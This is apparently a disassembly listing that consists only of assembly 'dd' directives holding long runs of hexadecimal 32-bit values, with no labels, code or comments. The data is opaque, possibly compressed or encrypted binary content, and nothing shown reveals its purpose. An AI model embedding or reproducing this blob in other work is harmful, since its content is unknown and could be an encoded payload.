		dd 8FF49693h, 0F5E0C00Dh, 0A3272C7h, 20EDAF00h,	0FD6CBE27h
		dd 5E2A1D4Eh, 847C0083h, 0AF4CF3F0h, 2D037775h,	0B45552D1h
		dd 5C20F82Eh, 9BA60EDFh, 5EA01721h, 8E03C316h, 0DE4FB507h
		dd 40F0CA77h, 75F920h, 9CD0F8DBh, 84723FBDh, 1567F60Bh
		dd 0F538027h, 19DFAFCh,	0B4D559A3h, 8C137626h, 8A245E8h
		dd 0A7A400D6h, 77E9C85Eh, 2F0F92F2h, 0A02E596Dh, 104694EAh
		dd 1128CFE5h, 1CE80300h, 4F002584h, 0EFE463A2h,	1A792Dh
		dd 0EB17F16Bh, 3BE54780h, 9724421Ch, 54D803C0h,	1C5AD68h
		dd 0D57CCE4Bh, 83BD532Fh, 489DAF18h, 0C07BBB19h, 30F060h
		dd 521A6B6h, 0FFDA44F3h, 0D33C7C1Dh, 361E7900h,	565813h
		dd 0E74E3E4Ch, 0B3465E1Dh, 281F5DB0h, 0FA000742h, 34AB67DBh
		dd 0F375FCh, 433B310Dh
		dd 269554D7h, 868E0E00h, 6C334E7Ah, 0E377AB2h, 0E2120785h
		dd 4B913F60h, 0A0C3A76h, 0A802CE66h, 8A210FCBh,	6EA34C03h
		dd 5788623Ch, 0C900FA50h, 0D44DDC63h, 30994FDh,	0D81BC89Ch
		dd 0E000F3CDh, 4132AC81h, 14567B2Ch, 94C3D996h,	3653FE00h
		dd 0CFBB9A0Fh, 190009F6h, 0D714AF2Dh, 0A6E660h,	0BEEC17ABh
		dd 94E28072h, 53EE660Bh, 9C0900EAh, 0D51512h, 0FA56E161h
		dd 49A248A3h, 0CCAB3F01h, 4BA96562h, 604AEC4h, 0B53C5996h
		dd 5C1E300Dh, 7BB3E89h,	7E6E234h, 8DEC006Fh, 29479E57h
		dd 4320A17Ch, 0F8407A6Ch, 5A3E7D20h, 3A49000Fh,	538761D2h
		dd 0EECE01E4h, 6DE4C97h, 6F22F03Bh, 3819021Ch, 5CD44830h
		dd 0E855E0D0h, 3EE6FAh,	53ED0A49h, 0BA7B21E1h, 0ECF15A07h
		dd 3C838211h, 414E00E2h, 3D0AE06Ch, 9742B10h, 64E90803h
		dd 0D0275C4Ah, 7234B0FAh, 762E0066h, 0D45BA852h, 0A1E04C7h
		dd 459EDCD7h, 86805940h, 75D51Ah, 924C0C54h, 5E0AE156h
		dd 0FF3D3C14h, 49E00090h, 97D1708Fh, 6C6D00CDh,	0F7D44140h
		dd 5469E43Ch, 516F00B8h, 0FE7DE8EBh, 0B79C296Bh, 0B9C54080h
		dd 0B4A17F62h, 804F16h,	0F7C5F93h, 0D7FE3Dh, 355A0258h
		dd 4E9BC833h, 0F0D65D28h, 0B4B1300h, 6754C0BEh,	2A9C00C2h
		dd 0B6714D5Fh, 20E98299h, 42F4E10Ch, 200B4C1Eh,	32A3D207h
		dd 1FE2BE90h, 0E22FC01h, 67C9D7F3h, 0A2BD3038h,	8214317Ah
		dd 0A720EDC8h, 0B50E04AFh, 0B649CB20h, 4D739C00h, 7DC3C475h
		dd 0F634C5FFh, 0F1D040D1h, 5AB75D71h, 93F20600h, 3E9C40A2h
		dd 0F7B62880h, 7F0E3BC8h, 0A3029E00h, 0C8AC412Ah, 34268B00h
		dd 48ADA2C9h, 72CC0E8Dh, 99E06320h, 0D4BB85Eh, 82365500h
		dd 0CCFD06D7h, 70FC625Fh, 0A0801880h, 8D516908h, 2B8F9D00h
		dd 0A95BEAACh, 42E50024h, 0D4F963BAh, 0A4001C34h, 6D3D8303h
		dd 0E6BB6BEh, 0A139540Dh, 0FC56F48Dh, 0E300227Ah, 336E1472h
		dd 0AF9B44h, 794AEE23h,	56E91ED4h, 70358600h, 0DD1A66AEh
		dd 55C0006Bh, 0B8539B7Fh, 2630195Ah, 0B975A181h, 957167h
		dd 224D58FBh, 0BAC924E2h, 71BFC304h, 66007688h,	640A43EBh
		dd 413CFB73h, 7D2F008Ah, 4435E7AEh, 5AFCE9h, 0C9592D36h
		dd 0A1D59348h, 0F60FA298h, 47BFA4E1h, 3470AB41h, 12E0DDAh
		dd 80A26AD9h, 8042EF52h, 60028148h, 0CB59EBCh, 7CBD7F6Eh
		dd 89B84B19h, 7142EA00h, 0AC072758h, 0C9F32E7Eh, 3FEF0011h
		dd 74FAA8D4h, 8004977h,	0A7CDF071h, 7B916F7h, 28E5E6DEh
		dd 909480A5h, 1737E47h,	0C90E6000h, 42DD13B4h, 43F886h
		dd 3A1A2AAEh, 0A2EAE7B6h, 0F5A5BA00h, 687CF663h, 1621FE6h
		dd 0BB100051h, 86158AADh, 31114537h, 0F6441EA1h, 6EC14881h
		dd 0D084C4ABh, 831C9442h, 455E852Bh, 90A70846h,	1CEFB0F8h
		dd 40B42241h, 0E9C2E47Ah, 0B3004CC9h, 48F9D908h, 1E5B4F55h
		dd 40B97FB1h, 897B0E62h, 0A1007A83h, 260AE265h,	0F8B1CA61h
		dd 2E8F002Dh, 89C1E479h, 0E53FF3F9h, 0FDD70C1Bh, 459C16h
		dd 9DE0D0B1h, 0B2EABF42h, 0F1F25A00h, 639BA012h, 65EDB845h
		dd 80217A83h, 43A238FCh, 0D6780700h, 0C991C3AFh, 42B6001Eh
		dd 0CAD52189h, 58002DC6h, 0A9FBE498h, 634BDD70h, 0CD4D0B9h
		dd 435FE8E8h, 0E631F500h, 701FDC8Eh, 92D81D89h,	4FEE49h
		dd 0F77893CCh, 43003F0h, 5BB2A96Ch, 3D9E4853h, 0F777500h
		dd 0D62A411Eh, 0D3A19C01h, 0EDA59B7Ah, 0A9C19C40h, 38B56FECh
		dd 12DCD5A0h, 2A036375h, 0A7F2D2AFh, 8866A36Ah,	0FCDF1F6h
		dd 0D4E141A9h, 204AC4A0h, 1C015D38h, 0A239CC46h, 0A02E44CBh
		dd 0A103F96Dh, 0D37EDAAAh, 0D28FC059h, 0EF1C007Ch, 9740FB4Ch
		dd 1600D062h, 0AD01CF69h, 32A882h, 0A03F3393h, 1B96CBF5h
		dd 0B8EAA00h, 0C9E8ED7Bh, 551807DBh, 632EDC3Bh,	0E2B08768h
		dd 0E503437Eh, 95842257h, 0E3073ABh, 280425E0h,	5C53CE20h
		dd 0E300F22Ch, 6FF4C3A5h, 100A16FEh, 19497A8h, 4D095A7Ch
		dd 0D8C4DD2Bh, 0A4B93BFAh, 8072200h, 0FB20DC7Bh, 606AC500h
		dd 270F26D5h, 0A21603A8h, 2594120Ah, 8FBD293Bh,	0E039E9E4h
		dd 148254C8h, 7AEEC080h, 8B46FA36h, 8400F9E2h, 4D5D8AC9h
		dd 859845h, 9B0B8F0Fh, 0FD431E19h, 0D3904E01h, 9262DC8Bh
		dd 60871AC5h, 0A09F5A96h, 0C384D06Dh, 6F528200h, 83784579h
		dd 747C06DEh, 0E06ACAEAh, 186B3EEh, 2C4F66E0h, 0DDA70Dh
		dd 553F63Eh, 2A958D72h,	81CF00F7h, 0E5921DD6h, 4BF85EE4h
		dd 0EE12E300h, 8AB263A4h, 1B5001D4h, 69C019E0h,	0ED109E83h
		dd 3A98B180h, 362649Fh,	5B0512D5h, 2000C8D7h, 19237CAFh
		dd 70AC02Fh, 2B475C73h,	0CBE00E65h, 6AE3088Bh, 0A428C800h
		dd 0B8137BAEh, 0A57E24CAh, 20D700B2h, 0D8492325h, 0E288FB03h
		dd 0A18B4118h, 208087B1h, 0A3ADD580h, 0C20049D4h, 0F1618A75h
		dd 0B81425h, 4C74C87Dh,	50C7C12h, 77825A00h, 78248BD6h
		dd 0B938002Ah, 0B87BEFFCh, 0B5018103h, 141513D5h, 0DBD8A919h
		dd 5433005Ch, 6AB435Bh,	97FA41D9h, 0C1127900h, 9011B3A6h
		dd 76803C16h, 49C87A04h, 0ECB4C09Eh, 530B33DBh,	8056B7D9h
		dd 856215F7h, 44390072h, 0A0ED1F2Eh, 7300FD09h,	1367206Bh
		dd 0A4C4E7h, 7D0662BEh,	8D9D4125h, 383FEE3Ah, 0DE2F00A5h
		dd 26144BA3h, 1CE100D8h, 0C3567572h, 8A9833D0h,	55D57605h
		dd 0CEC07E40h, 0EC0CC466h, 2AEF002Dh, 0D89D2C06h, 3600DD29h
		dd 0C28BFD03h, 41FC2Fh,	444091CAh, 25BF0CC5h, 3A59E03h
		dd 92E805h, 70074C81h, 0AD18F03Ah, 0FC2C7903h, 0F0906A94h
		dd 9B1487h, 5FB964D2h, 66A8767Eh, 0BC1F96E8h, 2F4089FDh
		dd 0F4E0901Eh, 577B0A8Eh, 801C9540h, 5562B104h,	0E108D120h
		dd 0E0A441FFh, 323B866Bh, 9A88B410h, 58802489h,	1FC0593h
		dd 231D34ACh, 80E16120h, 556010C4h, 0AD29AFC0h,	53903092h
		dd 0E2A7E4A0h, 0A5E59315h, 0B73BC264h, 0A1843028h, 3C25D5Fh
		dd 0B60B001h, 0B5461Ch,	0AFCB59A4h, 0AF34B40h, 0FCAAB192h
		dd 6A2BC134h, 9CDD1140h, 29DA44FCh, 0E1942412h,	0DEC180BBh
		dd 756418A0h, 611224FCh, 100A634Dh, 1F7BB452h, 63EF1B70h
		dd 6E350406h, 6C920040h, 12F8055h, 703C200Eh, 17A00219h
		dd 9CC1FFC7h, 9FA314ACh, 1F96486Ch, 0C05D8394h,	0A1B8FFF6h
		dd 597240B1h, 0C30848A5h, 0E4C4E1CBh, 9830235Bh, 0E9D1C370h
		dd 0A552E418h, 0CB80A474h, 1DED03A4h, 150C9E45h, 0EBC230BFh
		dd 0A430C022h, 184A95Fh, 18C1B440h, 0D03090Fh, 38021AE9h
		dd 909CE3CEh, 3B1388C4h, 0E625488h, 7F4427A8h, 0F0220432h
		dd 0A289A6Bh, 1C6CCF1Bh, 1E76443h, 86188088h, 61602124h
		dd 0E0C8C0FFh, 83FE44C5h, 228B8428h, 49C42B11h,	0C0010D04h
		dd 9E5B8DC7h, 23857C0h,	0E059CA75h, 0A1204005h,	7E5C141Ch
		dd 0AEA0DC56h, 8187D04h, 7103213h, 3CD35818h, 0E42A2701h
		dd 0C0AF68A2h, 7C91F68Dh, 0B1A26C0h, 0AC91FFh, 64F925F8h
		dd 0DF57C215h, 0EA9E0018h, 1F75BF09h, 1AC912Ah,	0C5A08F80h
		dd 50460A8Ah, 1D85B32Ch, 2DD1C1BEh, 23DF1864h, 9D0480B0h
		dd 0DD3F4667h, 22BAC228h, 0D0946126h, 91AFE40Eh, 27BFC0ECh
		dd 7B585624h, 0A0D65067h, 4D049A0h, 0F48639C0h,	30C099B0h
		dd 7874D1C4h, 3D9C0404h, 70A93211h, 157E1Ch, 39BDAE77h
		dd 113C68E4h, 6E0C7214h, 0B6E58344h, 0CD92C084h, 2B7AEA2Dh
		dd 0BD28141Bh, 18C11F1Eh
		dd 73A4D821h, 8467C705h, 182834C4h, 0D4410AA2h,	0BE83C7Dh
		dd 3A814644h, 0D0678713h, 0D602B553h, 0C97CC0AFh, 0BB604559h
		dd 0BA80E73Fh, 642A4428h, 0FE0C5C22h, 405F2CD3h, 0E0D950E0h
		dd 3150AE2h, 6040AE2Dh,	41C532EDh, 2A438501h, 26236004h
		dd 1A46DE2h, 0F6DD69E6h, 24102079h, 0F044A500h,	6DB0B993h
		dd 8D2E0504h, 70BDC478h, 0B749B9F8h, 68843030h,	48AF4C4h
		dd 7219B205h, 6108B3Dh,	0B807D58Ch, 65E40569h, 606467B7h
		dd 89722360h, 8429FD65h, 0A2E4DC29h, 78472443h,	75128E68h
		dd 9C464C5h, 7C9493B4h,	39C5EB00h, 2DD3F7C0h, 42D71D44h
		dd 13C2B67h, 2A483039h,	82BC5126h, 4C8A0460h, 4B381A75h
		dd 74821CFFh, 2894D0B3h, 51C5E080h, 4B2451C0h, 48C4674Dh
		dd 6FF3BC8Ch, 21328780h, 52C430C0h, 48D21042h, 19F0ECEAh
		dd 3724EE29h, 0BE8A74A9h, 0EC00A85Ch, 23B212CAh, 3B0A7CFh
		dd 58AACAB0h, 7E849900h, 8C047950h, 52140943h, 6C032D86h
		dd 81349DCh, 0DC00E631h, 0CD0E54E0h, 3CC8AE0Dh,	0B6A6A1E4h
		dd 48C820CEh, 720EA404h, 1280364Bh, 0AD0E592Eh,	0D083A60h
		dd 480756C0h, 6FA07C4Dh, 5819CEA5h, 994CAE9Dh, 0BD28896h
		dd 5416789Fh, 99E5EC0Bh, 802D89D1h, 0FDF8DEE4h,	88AA3A01h
		dd 0EEAC116h, 8EECA030h, 950BD318h, 14A9FEEh, 0FCB5401Ch
		dd 930B81D3h, 1D675FF0h, 0EC05C0Ah, 18065DCEh, 4361A4F3h
		dd 0DD9B8010h, 0F8EF20F1h, 7DED67Eh, 9F83E707h,	7F234112h
		dd 7A5C0111h, 0B04DF6D8h, 997617C4h, 0B7080067h, 0F7AC0B49h
		dd 61F10BB0h, 6381F344h, 0DB809290h, 4B4D0C80h,	412C1D0Bh
		dd 1CC0047h, 29AC17A1h,	367E5E00h, 767F714Fh, 36C07E2h
		dd 40A2E64Dh, 1ED28ACDh, 10026D30h, 0F1D374ADh,	88079D1h
		dd 0C3B3C0Dh, 4B4BCD2Dh, 406E70FCh, 93E99CE0h, 713FAA25h
		dd 0C1188104h, 0EA8FCC29h, 3E358DD8h, 0E5010747h, 0E221FC1Ch
		dd 0A2C09D6Fh, 68410EBCh, 0C40C3F1h, 63A0D0EFh,	6C2900C0h
		dd 41F52CDDh, 5B188BEDh, 0A0084E40h, 0C46158BAh, 0AB146200h
		dd 1F6F6E20h, 0FCA5AD3Fh, 708AF9F1h, 30DC4F7Ch,	70434E00h
		dd 7EBA93F6h, 52820796h, 0DE77F222h, 6CFFB280h,	4C00A504h
		dd 68F2F87h, 0E54D2Bh, 0B36D0EC7h, 0CFE0F4B4h, 9CAE0316h
		dd 9762E901h, 0E0EFB68Ah, 74FA59AFh, 0C56000EAh, 0AEA11909h
		dd 130E45ACh, 0C7AA9928h, 6840920Bh, 608AA939h,	0F7B280DEh
		dd 0F0EC04DFh, 2D07D746h, 0B01B9838h, 22D3B618h, 9899E63Eh
		dd 2008F2E2h, 5E078DAh,	0F8E5EE7h, 0CD6030FCh, 6A1EF528h
		dd 73C0B44Eh, 6F996DF7h, 93DF4852h, 2D18CC0Ah, 0E55B8018h
		dd 0B1B488E6h, 610793F6h, 476F89EEh, 0F70F3AB0h, 8FEB1873h
		dd 0FC4F48AFh, 6A0092F2h, 6B9B51D0h, 0FE8865C7h, 0A42C00E7h
		dd 9CF248Bh, 1D00A759h,	2C54A9Bh, 0C7FB3079h, 4BF09089h
		dd 0D2001F89h, 9ABFB270h, 5B4C2B0Eh, 5060879Bh,	0F763AB40h
		dd 5061E8A6h, 7E6BC33h,	239909E2h, 1E06CF0Eh, 8DFE88E3h
		dd 0E0034FFEh, 73CF3D62h, 6B2FA056h, 0D6E0F9AFh, 4A971854h
		dd 0CEFD065h, 4FE06A00h, 4EB3D85Dh, 1040608Eh, 0CBA4B2A8h
		dd 0FC7D43Ch, 82E2BCEFh, 8681F58Fh, 3029BE9Ch, 80B8FC23h
		dd 6A07A9E7h, 0CFEB91B8h, 1608116h, 0E589C895h,	0D0AB4EA2h
		dd 220A5AA1h, 0FC50C312h, 0F6C3A41Eh, 0A87D0FB3h, 3C611445h
		dd 0D90025ACh, 0DAA38ECBh, 74030589h, 0B233F626h, 0F1280E48h
		dd 0DE86ADDFh, 4F3A60C9h, 83C50FD2h, 2F6503D1h,	20180084h
		dd 7B13F6E1h, 251BAB46h, 0B0084D9Dh, 2CFD434h, 2BAF1187h
		dd 0B4826293h, 0A8801229h, 0F3E4067h, 920E2400h, 0CEB1762Ah
		dd 7B6E2EEh, 0AA578ECFh, 6421209Bh, 34280EB3h, 0B800A061h
		dd 0ABAF3E35h, 12A9B23h, 0EA96BF52h, 22225578h,	0F530C170h
		dd 0B024C299h, 0F06EEE33h, 68863E0Fh, 0DD64CF09h, 0CC637007h
		dd 9F067668h, 9A4CE5A3h, 0C7990008h, 80112589h,	7D516590h
		dd 0D735D188h, 0A901C5C0h, 6405AC03h, 8E4FD417h, 3CCE14A8h
		dd 0E4804469h, 322E801Ch, 48135380h, 3D285807h,	4D8F12F8h
		dd 0C7200477h, 0A8848084h, 7313F6A7h, 270A39FBh, 49622836h
		dd 0E51E6005h, 0F3B83F42h, 2A1B80C8h, 66A0581Bh, 0B4247679h
		dd 0AF04C40Ch, 2880D56Ah, 37927E82h, 82783B4Ah,	0C4853D74h
		dd 8EC000CFh, 0AF75A542h, 9D92903h, 14E9B39h, 3EDD62D0h
		dd 0EA10146Fh, 8ED9DF61h, 80DEE348h, 0EA9F23CAh, 5486484Fh
		dd 0E451AA09h, 0C3C35084h, 24E06F5Ch, 38028A99h, 0B0AA943h
		dd 7F504037h, 0A5A21803h, 0F1E508A4h, 450AE0AEh, 9CF56526h
		dd 8771386h, 0B6440080h, 7888EB9Ah, 38489476h, 9AF1828h
		dd 26DF2F08h, 2814D431h, 1B6F3144h, 83610FC0h, 5B10AA80h
		dd 685EC23Dh, 0E70D2A4h, 0ED6873F4h, 84B91384h,	0EE42C90h
		dd 7F205D7Ch, 21B32035h, 214CA56h, 0D067E488h, 0EED301FAh
		dd 63C20EBh, 0B736498h,	26287F4Ch, 2F0014F7h, 0EFD43398h
		dd 3EB8004Bh, 0A94126CFh, 5E045A4Ah, 178D4F3Dh,	77EF1880h
		dd 3E0F28EBh, 0DD2F0EE0h, 2681EA9Dh, 2253F76Eh,	1BB88080h
		dd 98D677E6h, 247319F0h, 8010F0DCh, 0BAD0AB88h,	98A98B9Ah
		dd 0F54B2474h, 968F00B0h, 1774767Ch, 1922AF4Ch,	0C9183B0Dh
		dd 14F3F6FCh, 0D8A65604h, 27F599B0h, 93714761h,	0A430E321h
		dd 9C904C3Bh, 0E008C32Ch, 0C78A7855h, 24D02449h, 92020CB8h
		dd 0C53E4188h, 0C1B38120h, 2427455Ch, 0E5500FA4h, 0E89A4EE8h
		dd 409E9344h, 0B666910Dh, 0E8F061E0h, 24137C4Dh, 560D80Bh
		dd 81B3F86Ah, 0D0B18824h, 0B063274Bh, 88A64308h, 0DC48BD6Bh
		dd 9389290h, 2401C530h,	412F1ECFh, 0D03076C8h, 0A60D990Ah
		dd 89DCAA9h, 0F5C1A1F0h, 108ED5F0h, 1D7CAECEh, 48A4A56Eh
		dd 3C02BE13h, 0C0C649EFh, 0C44042F8h, 9D2B908h,	4F6B82F9h
		dd 2BE26094h, 50EF4C37h, 0E8490B7Ah, 31AFh, 0ADF1D70Fh
		dd 0D4E0C526h, 0F4C358Bh, 0C0021204h, 85559D99h, 491BB88h
		dd 8004763Ah, 3993F8B0h, 36723C0Bh, 3F0422D3h, 49E50225h
		dd 11C8F807h, 0D5361051h, 10C8BE10h, 4B02D022h,	43A5AB52h
		dd 0FEAFC68h, 9A2BA60Ah, 0A114C4CEh, 33507AC3h,	2D4C2A9Ch
		dd 21EE0F2Bh, 3816929Fh, 61305C46h, 0AD8326E8h,	0A9A43DA8h
		dd 421A0EE4h, 6C602AA3h, 75C43A01h, 8B4CD3F7h, 7701C30h
		dd 9D65A388h, 0CCE04C84h, 52D6720Dh, 0EC48F83Eh, 20A162D0h
		dd 0FE831A98h, 25C08AC2h, 0AC1232C9h, 0E4773E85h, 1B7361D0h
		dd 2570B849h, 5770C1F3h, 285F48h, 9AB823EBh, 9CCF0CBh
		dd 540C7909h, 0B57DF003h, 9BDE47E7h, 0C7337800h, 870EEA92h
		dd 6BEF3D58h, 98548267h, 6CE88536h, 0D25B003h, 68082CD3h
		dd 9BD20AE4h, 0DBEB04E0h, 0FBC80CFh, 8501AB80h,	0E5AC5E68h
		dd 0B880547Bh, 4589D714h, 0CB0CD882h, 2850E84Eh, 0E8109042h
		dd 58CC6622h, 51E60BEh,	0A51ECE7Bh, 0C318CF99h,	7EE5F840h
		dd 99C0A0F2h, 73D0C942h, 51EB1081h, 53C09608h, 0DAAA0000h
		dd 4C2ECEB4h, 4F0DB44Bh, 0CE2083FAh, 54C22063h,	0FF26DCC9h
		dd 1E4EEFC0h, 4EA9B0Bh,	143E89B0h, 7FAE0A1Ch, 89B408BFh
		dd 9080A013h, 3A6AE12Ah, 37658F04h, 0B4CACFE8h,	4A5A4701h
		dd 0ECB1B5C9h, 84486AB3h, 256B03A0h, 0CCBDCA99h, 0E8B9CC80h
		dd 0CDF326F7h, 8105E728h, 89B166EDh, 87A6D378h,	0E205CFC8h
		dd 5CF17080h, 3F2E29B3h
		dd 0CC6833Ch, 38D68C19h, 0F00B737Ah, 8EB5AF99h,	5C285324h
		dd 4963078Ah, 0B1958DA9h, 2014E193h, 9190FB24h,	0F2FDAE14h
		dd 3A409D30h, 1A694D6Dh, 0C63324B6h, 41F973Ch, 0C0512F10h
		dd 30FD2A60h, 0B7ACD44Ch, 985F6C1h, 0E53A850h, 14E057D0h
		dd 5490B606h, 0F3136935h, 2C0965E3h, 0A630A576h, 0C10240CFh
		dd 0C3D54F09h, 0B81CCCC8h, 9EE51000h, 7D5F8EE8h, 49A50098h
		dd 0A0829B89h, 0E7001A99h, 1162D56Dh, 0A47A3C05h, 97D40014h
		dd 1FF2A7A1h, 7028DE7h,	0CE7383E0h, 0B7C4307Dh,	42252703h
		dd 1BF1F35h, 9B4566B2h,	0FCF7F46Bh, 0A17A7107h,	0DB88A201h
		dd 20D629BCh, 84DF318Bh, 0E6D781D7h, 14508A33h,	7762C57h
		dd 12CF622Ah, 20F2A57Fh, 6FDAB324h, 25ACE500h, 5CF49ECAh
		dd 67FB2CE2h, 69011F27h, 0C6848028h, 301CBDDDh,	0D03F1F0Fh
		dd 5265C046h, 0E87BEDCFh, 0DBE40092h, 810CD77Eh, 38A404F8h
		dd 0BDE75D00h, 0CA29EB4Eh, 6E60005Eh, 0FB5BBE8Bh, 0FE039B4Dh
		dd 75A27B5h, 9DB0C7F1h,	1B9758h, 8566410Ch, 0F6065DE2h
		dd 2C3793Dh, 60080561h,	2B7CB13Fh, 5F77F8h, 0FF12CE0Fh
		dd 5A1CF243h, 414CD107h, 0D73F717Bh, 80072D0Fh,	5F575BFAh
		dd 0C6C0321Fh, 0AEC0CF58h, 0D877E89Fh, 0B60C30AEh, 0C9B9FF03h
		dd 71C9001Eh, 0BB3D7B9Ah, 0F0532568h, 9515727Ch, 9C4898h
		dd 414FC2BFh, 0CAE2DC1Bh, 6030DBF8h, 2D251759h,	0DFDC6850h
		dd 0E2401509h, 3B04145Bh, 4D8099E4h, 7ECA23B1h,	9A2A7960h
		dd 0BB56A09Bh, 0BE97035Ch, 0E0DD1E30h, 5019F1Fh, 7FBB9A77h
		dd 6FDC00C5h, 74FB4DF8h, 0D6F42D15h, 0C30A8764h, 0FA4F3C3h
		dd 455E3E70h, 0C87F9600h, 0ADE69711h, 70410B04h, 208B021Ah
		dd 33778150h, 5E40A31Fh, 1BE4C7A8h, 334F753h, 0E7BE23A9h
		dd 0FFA80AD3h, 0AD47CF1h, 40140DB5h, 0EAB84F3h,	0F01E51C6h
		dd 74DA4828h, 639EF8A0h, 5052BA30h, 52B2E5BFh, 0E7C1A8D7h
		dd 9A0D0B57h, 16A1DE51h, 29EBEAA4h, 0BCF1F0h, 1BD7C791h
		dd 36E07B08h, 0F1407C91h, 4040D118h, 0E4009E01h, 63DA1EA7h
		dd 0ACF6FBF4h, 2A283E58h, 30B65D98h, 2B780E3Eh,	7872761Ch
		dd 0BEA2943Dh, 99A701D8h, 64EB3FDFh, 0A3441730h, 8A81E3E0h
		dd 80C045E6h, 0F2A9531Dh, 15024293h, 1C78B75Fh,	0E570B0BAh
		dd 63160001h, 0FF155419h, 0F600C3E1h, 0E4A8EB76h, 1AC7499Bh
		dd 7093F711h, 0A51EE016h, 41305D97h, 0C17EFB1Fh, 0E8CD2868h
		dd 3E785841h, 614F1A05h, 0D0094A1Bh, 4B08A46Eh,	0D1BB6880h
		dd 14F6E06Fh, 0C8414987h, 0C6B891B3h, 573A85DFh, 0A05C4815h
		dd 30C9AB9Bh, 7F206CF5h, 9729ECB9h, 0E740907Bh,	0C1E6E32Fh
		dd 5BD39F49h, 58B0F297h, 2E1C959Ch, 0D0E8AB34h,	0FBA89264h
		dd 3D06508Ah, 29E26590h, 3E9B5E03h, 0B2F856F4h,	80C8655Fh
		dd 71CAAC4h, 0BCA25DBDh, 0E59D2830h, 21C102E0h,	9751B51Fh
		dd 0DD06884Bh, 0F160808Ch, 0CA4FBF00h, 83FB3BE4h, 2FD60F06h
		dd 900043B9h, 8AB711CDh, 0BB051078h, 16F428E0h,	18E1E828h
		dd 0C9FAE980h, 0FF7E5DDEh, 0BCD0A504h, 0A48AC10Ch, 83100D04h
		dd 7E6090CCh, 6809CD7Ah, 56D4C45h, 0F01C3254h, 5B8320A4h
		dd 0D19750F7h, 0D096F656h, 0E1400468h, 0BFC0C24Fh, 6200D494h
		dd 0E62B0799h, 1D9F21C3h, 4F0CB535h, 0A140E993h, 56F6DF71h
		dd 9C1448h, 4135D3B6h, 0E9447D3Bh, 0E005E84Bh, 904F9105h
		dd 0B9843F18h, 414E457h, 0BC65FC5Ch, 0FD485F42h, 0E5228040h
		dd 0C5EAB7F4h, 40210B24h, 3ABD8C50h, 0B12CDE51h, 0F89E1A48h
		dd 45824045h, 484E8FF2h, 0A1521FD0h, 0FDC937D0h, 22821463h
		dd 0BF104CCBh, 9023EF9Ch, 5EAAC39Eh, 800997D5h,	852EE5DFh
		dd 0C082503Ch, 0ECF8941Eh, 14651246h, 19984277h, 0F4960D7Bh
		dd 1CA35E38h, 98A43C4Bh, 48032612h, 705D7E7Bh, 0F0B04C08h
		dd 5F59B609h, 9D78CC16h, 20F71219h, 39F03FC0h, 608899F4h
		dd 176F0F63h, 0D528A6F1h, 5C8A020Ah, 59534BE0h,	0FC65F7A8h
		dd 570F91D7h, 0B3C3C58h, 0D51F7BBEh, 2C6BE020h,	8395F60h
		dd 0AA9F9440h, 0FB64C040h, 0A0A5EE7Ah, 241BBFA0h, 584C553Bh
		dd 0E316B44Ah, 0DC406726h, 0BF5F560Eh, 55361564h, 0CE85581Fh
		dd 1355C23Dh, 4EAAD0E8h, 40120A79h, 242CE6E4h, 1CF87D20h
		dd 0C2CC6D12h, 0A496E9Fh, 6BDB4C5h, 0B1A70C75h,	0D03F7EB0h
		dd 0C8B0E028h, 0F2A33B5h, 3272AC14h, 20A1F124h,	0A99450h
		dd 2696B48Fh, 5C2BFECAh, 8061F129h, 0B6A4540h, 0A8070AF0h
		dd 0CF4C1F12h, 0A3658C07h, 1001B79Bh, 0D6FB12BFh, 8802C19h
		dd 74490636h, 100E046h,	0C116CCA7h, 2ECD7h, 376ECA1Bh
		dd 734E8B24h, 193BE703h, 0F913AC0Ch, 3AF588FAh,	0E9E6F0D8h
		dd 20973431h, 8A100732h, 23DEC029h, 0A500D950h,	0DD486A9Bh
		dd 48A99590h, 0B717C9E4h, 0EBE30353h, 59E87689h, 0DFF80130h
		dd 0F9A081E3h, 0D2A57A57h, 805B119Eh, 0DCE7C1D9h, 45F6E05Ah
		dd 0F2E3B507h, 0BCE0CF1Bh, 1E7DD933h, 0C0EDEFE1h, 6CFC5802h
		dd 0A5004178h, 0C17E0A0h, 0ACBE406h, 73DD3C71h,	3F68184h
		dd 0ECC810B4h, 5A039870h, 0E50D32AEh, 302000CEh, 7CA4DDA9h
		dd 0CD7CF707h, 59BAB300h, 0FE9B1535h, 0BC6E3863h, 547A700h
		dd 3866A939h, 3071C028h, 29DB6700h, 53FF5CC9h, 6A488844h
		dd 7C7B63B0h, 0E9098477h, 0F233D0h, 0D744DAA0h,	929D0022h
		dd 65EC045Bh, 91007866h, 0BFE8AC69h, 3832D8h, 4E55E912h
		dd 0F7CBC2AEh, 0D3CC1100h, 3F9B6191h, 2FE61D6Ch, 80AC42A3h
		dd 0A560F793h, 23004A67h, 0B6DA96FEh, 0B9FA8F0h, 75CFFD1h
		dd 0FA9B0185h, 0DAFBB880h, 0B4830FFDh, 1D808AB2h, 0C9AA4849h
		dd 3EA7D300h, 0A29EEC05h, 1C320085h, 158E6FDEh,	0EE010F80h
		dd 0A1CBA399h, 17E5BD65h, 273D0h, 4712709Dh, 641F54C7h
		dd 6D9C2700h, 0E2DF76A7h, 30A797Bh, 4ABBCEE0h, 4E983116h
		dd 2D7204D9h, 0CAA33E71h, 0EC462789h, 0AF0001F3h, 0E6B44D7Ah
		dd 35EBC4h, 76D5EDD3h, 6E7847E5h, 0C6BB5100h, 2FAA318h
		dd 791A011Ch, 653E807Dh, 0DB7F70C1h, 80C8E43Bh,	83545C57h
		dd 7EE8E679h, 0E12501AAh, 37F7808Ah, 4AA1607Eh,	0FE581D00h
		dd 7095AA73h, 94090A29h, 28FE3021h, 44C10E62h, 0C8601F24h
		dd 536AB4F9h, 2741951Dh, 37EFE340h, 0B90580h, 0ED2A40DFh
		dd 67E6091Bh, 875DB201h, 18422532h, 0A9801DD1h,	0F1B7C3FFh
		dd 7601EA86h, 26C9750Ch, 6FE85961h, 67850078h, 0A649447Ah
		dd 82001841h, 8BE963BAh, 0E3A6Dh, 0FC138031h, 0FEB16738h
		dd 8068903Eh, 93C510ACh, 1D8B6641h, 41CC7CC0h, 72EAFDA8h
		dd 46EE4080h, 6C008E5Dh, 0B7B4F284h, 0ED5114h, 0DE44A861h
		dd 4D7E5640h, 8700D1FCh, 3193C396h, 0A032481Eh,	0EDF4CCh
		dd 0A5CDA1CCh, 5FFC9984h, 0EF0341E6h, 0FCA047Dh, 28B097DBh
		dd 0F68D4DC8h, 8DF24C01h, 0B2B73200h, 0BF230873h, 9463AB00h
		dd 938D22FCh, 0A4010009h, 7C3AF619h, 9D7CE971h,	0D4DBB700h
		dd 0DA87700Eh, 38040053h, 86BB036Ch, 7907E0B0h,	757DFE4Eh
